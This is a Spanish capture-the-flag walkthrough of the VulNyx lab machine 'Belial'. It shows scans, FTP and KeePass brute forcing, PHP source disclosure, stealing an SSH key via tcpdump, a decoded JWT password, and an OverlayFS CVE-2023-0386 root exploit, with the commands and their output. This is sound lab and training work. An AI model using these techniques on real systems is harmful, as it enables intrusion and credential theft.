VulNyx - Belial

logo

  • PHP Development Server <= 7.4.21 - Remote Source Disclosure
  • Brute Force FTP
  • Brute Force Keepass Master Key
  • Brute Force RSA Key
  • Decode JWT Token
  • Overlayfs CVE-2023-0386

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.11

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2121/tcp open  ccproxy-ftp
8090/tcp open  opsmessaging

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,2121,8090 192.168.1.11

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 500a5d78090d1013853eba764b6d67c3 (ECDSA)
|_  256 eea24509b883744a7d19f17628e4700f (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
2121/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxr-x    2 1001     1001         4096 Jul 14 14:34 resources
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.1.18
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
8090/tcp open  http    PHP cli server 5.5 or later (PHP 7.4.21)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 80 - TCP

puerto80

Me conecto al servidor FTP y me descargo el users.list.

ftp> ls -la
229 Entering Extended Passive Mode (|||22624|)
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 Jul 14 14:29 .
drwxr-xr-x    3 1001     1001         4096 Jul 14 14:29 ..
drwxrwxr-x    2 1001     1001         4096 Jul 14 14:34 resources
226 Directory send OK.
ftp> cd resources
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||56758|)
150 Here comes the directory listing.
drwxrwxr-x    2 1001     1001         4096 Jul 14 14:34 .
drwxr-xr-x    3 1001     1001         4096 Jul 14 14:29 ..
-rw-r--r--    1 1001     1001           18 Jul 14 14:32 users.list
226 Directory send OK.
ftp> get users.list

El archivo users.list contiene dos usuarios.

❯ /usr/bin/cat users.list
anonymous
kohanic

Realizo fuerza bruta de extensiones php al puerto 8090.

❯ wfuzz -c --hl=6 -t 200 -u "http://192.168.1.11:8090/FUZZ.FUZ2Z" -w /usr/share/seclists/Discovery/Web-Content/common.txt -z list,php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.11:8090/FUZZ.FUZ2Z
Total requests: 4713

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                     
=====================================================================

000002213:   200        732 L    3983 W     66829 Ch    "info - php"                                                                
000002190:   200        15 L     26 W       329 Ch      "index - php"                                  
000004359:   200        0 L      29 W       146 Ch      "validation - php"                                                          
000003665:   200        9 L      35 W       232 Ch      "secret - php"

Puerto 8090 - TCP

Archivo info.php es un phpinfo.

infophp

Archivo index.php es un formulario de login que no funciona, rabbit hole.

puerto8090

Archivo Validation.php me muestra un error de syntaxis de SQL, es el encargado de mostrarme el error al intentar acceder mediante el formulario de login anterior.

validationphp

El archivo secret.php me muestra el siguiente mensaje y un posible usuario Gelal.

secretphp

Buscando información sobre php 7.4.21 he encontrado este blog en inglés, pero si queréis una explicación en español y bien detallada os recomiendo visitar el blog de nuestro compañero UnD3sc0n0c1d0.

Es importante desactivar Update Content-Legth del repeater para que funcione todo correctamente.

Aplico los pasos que he leído en el blog al archivo index.php, en la respuesta puedo leer el contenido del mismo.

burp_indexphp

En el archivo info.php no hay nada interesante.

burp_infophp

En el archivo secret.php veo una sentencia if else.

burp_secretphp

En el código fuente hay una pista.

secretphpcfuente

Con curl y el parámetro encontrado puedo leer el contenido de /root/secret.txt.

curl_secretphp

Creo un diccionario con el texto encontrado y realizo fuerza bruta al usuario kohanic del servidor FTP.

❯ hydra -l kohanic -P belial.txt ftp://192.168.1.11 -s 2121 -V -f -I

[2121][ftp] host: 192.168.1.11   login: kohanic   password: w**********r

Me conecto al servidor FTP como usuario kohanic.

❯ ftp 192.168.1.11 -p 2121
ftp> ls -la
229 Entering Extended Passive Mode (|||61256|)
150 Here comes the directory listing.
drwxr-x---    6 1001     1001         4096 Jul 19 07:35 .
drwxr-xr-x    4 0        0            4096 Jul 14 12:11 ..
lrwxrwxrwx    1 1001     1001            9 Jul 17 15:11 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Oct 07  2022 .bash_logout
-rw-r--r--    1 1001     1001         3771 Oct 07  2022 .bashrc
drwx------    2 1001     1001         4096 Jul 14 15:29 .cache
drwxrwxr-x    3 1001     1001         4096 Jul 14 21:41 .local
-rw-r--r--    1 1001     1001          807 Oct 07  2022 .profile
drwx------    2 1001     1001         4096 Jul 17 14:17 .ssh
-rw-rw-r--    1 1001     1001          215 Jul 18 08:15 .wget-hsts
drwxrwxr-x    2 1001     1001         4096 Jul 17 14:19 DB
226 Directory send OK.

Me descargo los archivos de la carpeta DB.


ftp> cd DB
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||37358|)
150 Here comes the directory listing.
-rw-rw-r--    1 1001     1001         4110 Jul 17 14:14 Database.kdbx
-rw-rw-r--    1 1001     1001     304893561 Jul 17 13:53 KeePass.DMP
226 Directory send OK.

Luego me descargo la llave rsa.

ftp> cd .ssh
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||61905|)
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001          568 Jul 17 14:10 authorized_keys
-rw-------    1 1001     1001         2655 Jul 17 14:10 id_rsa

Con la herramienta KeePwn obtengo la keepass master key para abrir el fichero Database.kdbx.

┌──(keepwn)(noname㉿dragon)-[~/virtual/keepwn/KeePwn]
└─$ python3 KeePwn.py parse_dump --dump_file KeePass.DMP --bruteforce Database.kdbx 
KeePwn v0.3 - by Julien BEDEL (@d3lb3_)

[*] Searching for the master password in memory dump.. done!                                                                                                                                                     
[*] Found 11 candidates:
     _uP3r-S#cR3+213!
     _CP3r-S#cR3+213!
     _AP3r-S#cR3+213!
     _)P3r-S#cR3+213!
     _HP3r-S#cR3+213!
     _oP3r-S#cR3+213!
     _ P3r-S#cR3+213!
     _,P3r-S#cR3+213!
     _LP3r-S#cR3+213!
     _7P3r-S#cR3+213!
     _%P3r-S#cR3+213!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                              
[+] Database.kdbx successfully unlocked using master password SuP3r-S********!

Lanzo KeePassXC y cargo el archivo Databse.kdbx para leer el contenido.

KeePassXC

Una vez pongo la contraseña obtengo el passpharse de la llave rsa que encontré en el servidor FTP.

keepassPasswordSSH

Me conecto al sistema usando la llave rsa y el passphrase.

❯ ssh -i id_rsa kohanic@192.168.1.11
Enter passphrase for key 'id_rsa': 
kohanic@belial:~$ 

Enumerando permisos de sudo.

kohanic@belial:~$ sudo -l
Matching Defaults entries for kohanic on belial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User kohanic may run the following commands on belial:
    (root) NOPASSWD: /usr/bin/tcpdump

Enumero los puertos internos y veo el puerto 65533 abierto.

kohanic@belial:~$ ss -ltun
Netid     State        Recv-Q    Send-Q    Local                                                                            
tcp       LISTEN       0         4096      127.0.0.1:65533                                       

En procesos del sistema y grepeando por el usuario gelal veo que gelal lanza el script start.sh cada 5 segundos.

kohanic@belial:~$ ps aux | grep gelal
gelal        719  0.0  0.0   2736   964 ?        Ss   14:03   0:00 /bin/sh -c cd /home/gelal/c2/; php -S 127.0.0.1:65533
gelal        721  0.0  0.0   2736   956 ?        Ss   14:03   0:00 /bin/sh -c bash /home/gelal/c2/start.sh
gelal        733  0.0  0.4 200432 19036 ?        S    14:03   0:00 php -S 127.0.0.1:65533
gelal        734  0.0  0.0   7356  3680 ?        S    14:03   0:00 bash /home/gelal/c2/start.sh
gelal       1756  0.0  0.0   5616  1008 ?        S    14:25   0:00 sleep 5

Con curl mando una petición al archivo start.sh para leer el contenido.

❯ curl -s -X POST localhost:65533/start.sh
#!/bin/bash

data=$(echo $(cat /home/gelal/.ssh/id_rsa | od -t u1 | awk '{$1=""}1'))
while [ true ]
do curl -si -X POST http://127.0.0.1:65533/fd98ca2e839e212 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Brave/74" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2wiOiJzdXBlcmFkbWluIiwibmFtZSI6ImdlbGFsIiwicGFzc3dvcmQiOiJQJHNzdzByZCEzMjEifQ.nujWki5QiuGCqjur_VfBCtvmKk_XGhW7FPrx_dZzOYI" -d "$data"
sleep 5
done

Con pspy64 veo que tipo de data manda curl con la flag -d.

pspy

Para identificar el tipo de codificación es visito decodefr.

decoderfIdentifier

Le doy clic a ASCII Code y veo que es un trozo de una llave rsa.

asscii-decode

Anteriormente enumerando permisos de sudo encontré el binario tcpdump el cual usaré para capturar los datos enviados con curl.

kohanic@belial:~$ sudo tcpdump -i lo -v -w /tmp/gelal.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C50 packets captured
100 packets received by filter
0 packets dropped by kernel

Me descargo el archivo gelal.pcap a mi equipo, lo abro con wireshark y le doy a follow HTTP.

follow-HTTP

Exporto objetos HTTP y se guardará la data en un fichero con el nombre fd98ca2e839e212.

export-http-files

Copio la data de fd98ca2e839e212 en decodefr y obtengo la llave rsa completa.

rsacompleta

Si intento conectarme me pide un passphrase.

❯ ssh -i id_rsa_g gelal@192.168.1.11
Enter passphrase for key 'id_rsa_g': 
gelal@192.168.1.11: Permission denied (publickey).

Con la herramienta RSAcrack encuentro el passphrase.

RSAcrack

Me conecto al sistema como gelal.

❯ ssh -i id_rsa_g gelal@192.168.1.11
Enter passphrase for key 'id_rsa_g': 
gelal@belial:~$ id
uid=1002(gelal) gid=1002(gelal) groups=1002(gelal)

Con cat leo el contenido de .viminfo.

gelal@belial:~$ cat .viminfo 
# This viminfo file was generated by Vim 9.0.
# You may edit it if you're careful!

# Viminfo version
|1,4

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:q
|2,0,1689597929,,"q"

# Search String History (newest to oldest):

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Debug Line History (newest to oldest):

# Registers:

# File marks:
'0  1  0  ~/.cache/2/0/2/3/_/0/3/8/6/twj.zip
|4,48,1,0,1689597929,"~/.cache/2/0/2/3/_/0/3/8/6/twj.zip"

# Jumplist (newest first):
-'  1  0  ~/.cache/2/0/2/3/_/0/3/8/6/twj.zip
|4,39,1,0,1689597929,"~/.cache/2/0/2/3/_/0/3/8/6/twj.zip"

Me voy a .cache/2/0/2/3/_/0/3/8/6 y encuentro el archivo.zip.

gelal@belial:~/.cache/2/0/2/3/_/0/3/8/6$ ls
twj.zip

Me descargo twj.zip a mi máquina y lo descomprimo.

❯ unzip twj.zip
Archive:  twj.zip
[twj.zip] Urgent.msg password: 
  inflating: Urgent.msg 

Obtengo la contraseña usando la web JWT.

El token está en el archivo start.sh.

JWTIO_gelal_passwd

Con file veo que Urgent.msg es un archivo pdf.

❯ file Urgent.msg
Urgent.msg: PDF document, version 1.6, 1 pages

Abro el pdf y me muestra el siguiente mensaje.

pdf

Para obtener el root me descargo este exploit. En los comentarios pone los pasos para compilarlo correctamente.

// - attacker
//   apt install libfuse-dev
//   gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl

Como tengo la dependencia instalada lo puedo compilar en la máquina víctima.

gelal@belial:/tmp$ find / -name libfuse-dev 2>/dev/null
/usr/share/doc/libfuse-dev

Lo compilo y le doy permisos de ejecución con chmod.

gelal@belial:/tmp$ gcc poc.c -o poc -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/12/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gelal@belial:/tmp$ chmod +x poc
gelal@belial:/tmp$ ls -la
total 1448
drwxrwxrwt 11 root  root     4096 Aug  7 17:55 .
drwxr-xr-x 18 root  root     4096 Jul 19 11:29 ..
-rwxrwxr-x  1 gelal gelal 1328552 Aug  7 17:55 poc
gelal@belial:/tmp$ chmod +x poc
gelal@belial:/tmp$ 

Finalmente lanzo el exploit y obtengo el root.

gelal@belial:/tmp$ ./poc
Waiting 1 sec...
unshare -r -m sh -c 'mount -t overlay overlay -o lowerdir=/tmp/ovlcap/lower,upperdir=/tmp/ovlcap/upper,workdir=/tmp/ovlcap/work /tmp/ovlcap/merge && ls -la /tmp/ovlcap/merge && touch /tmp/ovlcap/merge/file'
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root   root     4096 Aug  7 17:57 .
drwxrwxr-x 6 root   root     4096 Aug  7 17:57 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] open_callback
/file
[+] read_callback
    cnt  : 0
    clen  : 0
    path  : /file
    size  : 0x4000
    offset: 0x0
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
/tmp/ovlcap/upper/file
root@belial:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1002(gelal)

Y con esto ya tenemos resuelta la máquina Belial.

Gracias a Powerful, d4t4s3c y UnD3sc0n0c1d0 por la ayuda 👍

Saludos!